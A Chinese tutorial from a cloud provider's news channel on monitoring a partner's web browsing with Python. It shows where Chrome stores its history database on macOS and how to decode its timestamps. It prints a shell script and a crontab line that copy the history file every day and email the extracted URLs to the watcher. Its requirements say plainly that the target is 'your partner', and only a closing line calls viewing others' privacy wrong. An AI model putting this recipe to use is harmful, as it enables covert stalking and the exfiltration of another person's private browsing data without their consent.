溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么用Python監(jiān)控你的朋友都在瀏覽哪些網(wǎng)站

發(fā)布時(shí)間:2021-05-28 09:47:08 來源:億速云 閱讀:188 作者:小新 欄目:開發(fā)技術(shù)

小編給大家分享一下怎么用Python監(jiān)控你的朋友都在瀏覽哪些網(wǎng)站,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!

一、需求

1.獲取你對(duì)象chrome前一天的瀏覽記錄中的所有網(wǎng)址(url)和訪問時(shí)間,并存在一個(gè)txt文件中

2.將這個(gè)txt文件發(fā)送給指定的郵箱地址(你的郵箱)

3.建立例行任務(wù),每天定時(shí)自動(dòng)完成這些操作,你就可以通過郵件查看你對(duì)象每天看啥了

二、背景

1.mac下chrome的瀏覽記錄在哪?怎么獲取網(wǎng)址(url)和訪問時(shí)間?

答:路徑:/Users/用戶名/Library/Application\ Support/Google/Chrome/Default/History

History:是一個(gè)SQLite數(shù)據(jù)庫,其實(shí)就是一個(gè)文件,可以用DB Browser for SQLite

去查看所有的信息,我們要的信息在urls表中

怎么獲取:用python內(nèi)置的sqlite3庫連接History,通過sql得到我們想要的信息

2.怎么發(fā)送一個(gè)帶附件的郵件?

答:使用python內(nèi)置的email和smtplib兩個(gè)模塊去構(gòu)造和發(fā)送郵件

3.怎么把這些過程自動(dòng)化?

答:使用shell腳本將這些過程連接起來,然后使用crontab命令定時(shí)運(yùn)行

三、requirements

macOS Sierra

Python3.6

Chrome

發(fā)送郵件的qq郵箱地址

qq郵箱授權(quán)碼

SMTP服務(wù)器地址 : smtp.qq.com

接受郵件的郵箱地址

四、代碼

1.get_history.py

2.send_email.py

3.start.sh

4.crontab -e

五、執(zhí)行

(1) 首先我們用DB Browser for SQLite來看下History中的urls表的數(shù)據(jù)組成

從表中可以看出,我們要的網(wǎng)址和訪問時(shí)間就在urls.url和urls.last_visit_time中

怎么用Python監(jiān)控你的朋友都在瀏覽哪些網(wǎng)站

(2) get_history.py:通過這個(gè)腳本,我們可以把url和訪問時(shí)間提取出來,并且存儲(chǔ)在

result.txt中,下圖就是我得到的部分結(jié)果怎么用Python監(jiān)控你的朋友都在瀏覽哪些網(wǎng)站

(3) send_email.py:通過這個(gè)腳本,我們可以把result.txt作為附件,發(fā)送給指定郵箱地址

(4) ./start.sh :其實(shí),前面幾個(gè)腳本,已經(jīng)完成了我們的任務(wù),但是每次都執(zhí)行這么多腳

本,太麻煩了,我們可以把這些腳本的執(zhí)行語句整理成一個(gè)shell腳本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

這樣,我們?cè)诮K端執(zhí)行./start.sh,系統(tǒng)就會(huì)幫我們把這三條語句依次執(zhí)行了

注意:由于crontab命令需要絕對(duì)路徑,所以這里的路徑都是用絕對(duì)路徑

(5) crontab :如果使用了這個(gè)命令,在電腦開機(jī)并且聯(lián)網(wǎng)的情況,系統(tǒng)會(huì)自動(dòng)執(zhí)行,然后把結(jié)果發(fā)到你的郵箱

使用方法:在終端下輸入crontab -e,使用vim輸入下面一行代碼就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

說明:前面兩個(gè)數(shù)字,就是你每天執(zhí)行這個(gè)腳本的時(shí)間,我這里設(shè)置的是14:20。

重要的事再說一遍,一定要寫絕對(duì)路徑?。?!

六、問題

1.server.login(from_addr, password)函數(shù)中的password不是郵箱密碼,在qq郵箱中,指的是授權(quán)碼

答:qq郵箱授權(quán)碼:什么是授權(quán)碼,它又是如何設(shè)置?_QQ郵箱幫助中心

2.訪問History數(shù)據(jù)庫時(shí),顯示The database is locked!

答:在我們打開瀏覽器的同時(shí)去訪問History時(shí),就會(huì)出現(xiàn)這種情況,有兩種解決辦法:
(1)關(guān)閉瀏覽器,再去訪問
(2)把History拷貝到其他文件夾中,然后訪問該文件夾下的History

3.timestamp時(shí)間戳怎么轉(zhuǎn)換的

答:last_visit_time是微秒,所以要除以10^6; last_visit_time的起始值是1601年1月1日0時(shí)0分0秒,所以要減去11644473600;篩選昨天的數(shù)據(jù):現(xiàn)在的日期與last_visit_time的差值小于1的數(shù)據(jù),就是距離當(dāng)前時(shí)間小于1天的數(shù)據(jù)

4.crontab出錯(cuò)

答:crontab中所有路徑都要寫絕對(duì)路徑,包括py腳本中的路徑也要寫絕對(duì)路徑!

七、總結(jié)

1.運(yùn)用python連接SQLite數(shù)據(jù)庫,并執(zhí)行sql操作

2.運(yùn)用python發(fā)送郵件

3.運(yùn)用shell和crontab建立自動(dòng)化例行任務(wù)

4.看別人隱私是不對(duì)的,這篇文章只是我自己瞎玩的,實(shí)際可行性不強(qiáng)

看完了這篇文章,相信你對(duì)“怎么用Python監(jiān)控你的朋友都在瀏覽哪些網(wǎng)站”有了一定的了解,如果想了解更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI